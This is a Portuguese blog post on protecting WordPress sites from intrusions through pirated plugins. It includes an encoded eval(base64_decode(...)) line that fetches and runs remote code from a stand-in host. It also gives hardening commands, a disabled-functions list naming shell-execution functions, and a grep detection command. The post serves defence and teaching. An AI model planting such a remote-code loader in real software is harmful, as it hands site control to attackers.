Evitando invasões no seu site WordPress

Se você trabalha constantemente com WordPress, com certeza já teve sérias dores de cabeça com invasão de sites. É algo extremamente comum de se ver, e na maioria das vezes a origem dos problemas é o mesmo, o bendito usuário. A grande questão é que mesmo o programador fazendo seu dever de casa e seguindo as recomendações de segurança, o usuário final ainda possui uma grande responsabilidade para manter a integridade do site.

O usuário que estamos falando é o administrador. Muitas vezes se trata de um indivíduo sem muito conhecimento em programação que tem o papel de gerir o conteúdo da plataforma. Pelo fato do WordPress possuir um grande arsenal de plugins, muitos usuários tentam contornar problemas e demandas diárias com a instalação de alguns plugins, alguns não, MUITOS. Já vi blogs com mais de 50 plugins ativos, isso é um verdadeiro tiro no pé e também um possível agravante na performance do WordPress. Os plugins são extremamente úteis, porém deve-se ter muito cuidado com a escolha dos mesmos. Esta ai um dos principais vilões de segurança do WordPress.

Mesmo o WordPress possuindo mais de 40 mil plugins em seu repositório oficial, existem uma grande quantidade de usuários que insistem em baixar plugins piratas. Além de ser crime, é uma prática inaceitável.

Como que as invasões são feitas

Raramente uma invasão é ocasionada por uma falha no servidor de hospedagem, o meio mais comum de ocorrer é através da execução de scripts dentro da sua instalação, mas como isso ocorre?

É simples, sabe aquele plugin/tema pirata que falamos anteriormente? É muito comum encontrar códigos maliciosos em seus arquivos. Nem sempre estão legíveis, pois os criadores costumam codificá-los em base64 e até mesmo serializá-los. Por exemplo, o código abaixo

eval(base64_decode('ZmlsZV9nZXRfY29udGVudHMoInd3dy5zaXRlLXh5ei5jb20vc2NyaXB0LnR4dCIp');

Quando executado pelo PHP tem a mesma equivalência que:

eval( file_get_contents("www.site-xyz.com/script.txt") );

Pra quem não conhece, o eval se habilitado no servidor, permite que comandos PHP sejam executados a partir de uma string, e o file_get_contents tem a função de ler um conteúdo de um arquivo. Dependendo da configuração do seu servidor e das permissões de pasta da sua instalação, scripts como esse podem ser devastadores.

Como se previnir?

Para evitar que ataques como esses possam surtir grandes efeitos em suas intalações, sempre mantenham as permissões de pastas como recomendado no Codex, todas as pastas com permissão de acesso 755, todos os arquivos com a permissão de acesso 644 com exceção do wp-config.php que deve ter permissão de acesso 440, para prevenir que outros usuários do servidor tenham acesso ao arquivo de configuração.

Para alterar essas permissões basta rodar o seguinte comando na raiz de instalação

find . -type d -exec chmod 755 {} \;
find . -type f -exec chmod 644 {} \;
chmod 440 wp-config.php

Outro item que pode impedir a execução de scripts é a desativação de funções que podem ser utilizadas para operações maliciosas. Para isso bastar editar o arquivo php.ini em seu servidor e adicionar a seguinte linha:

disable_functions=exec,shell_exec,system,popen,passthru,proc_open,highlight_file,escapeshellcmd,pcntl_exec

Caso você utilize algum plugin como otimizadores de imagens que utilizam algum desses comandos, vale a pena a removê-lo da lista para que seu funcionamento seja normalizado.

Exitem uma grande lista de plugins e práticas que podem ser adotadas para aprimoramento da segurança no WordPress. Recomendo que sigam o Checklist de Segurança criado pelo Rafael Funchal. São vários itens que podem ser adotados em sua instalação para que seu site se torne um verdadeiro cofre forte.

Extra: Como encontrar códigos maliciosos

Vamos supor que você tenha lido este post tarde de mais e que seu site sofreu uma recente invasão de hackers. Para encontrar a origem do problema ou até mesmo verificar se um dado tema ou plugin possui algum script malicioso basta rodar um simples comando no terminal via ssh, ou baixando os arquivos para sua máquina e executando o mesmo comando na pasta raiz do site.

grep -lr --include=*.php "eval(base64_decode" ./

Através desse comando, você percorre todos os arquivos PHP em busca da ocorrência do termo ‘eval(base64_decode’, mas você pode substituir o termo por outras combinações de comandos como: exec(), shell_exec(), eval(), base64_decode(), entre outros.

Se sua hospedagem não disponibilizar acesso via SSH, você pode fazer a varredura baixando os arquivos para ambiente local. Se você conhece outros macetes de segurança comente aqui, vamos trocar figurinhas.

comments powered by Disqus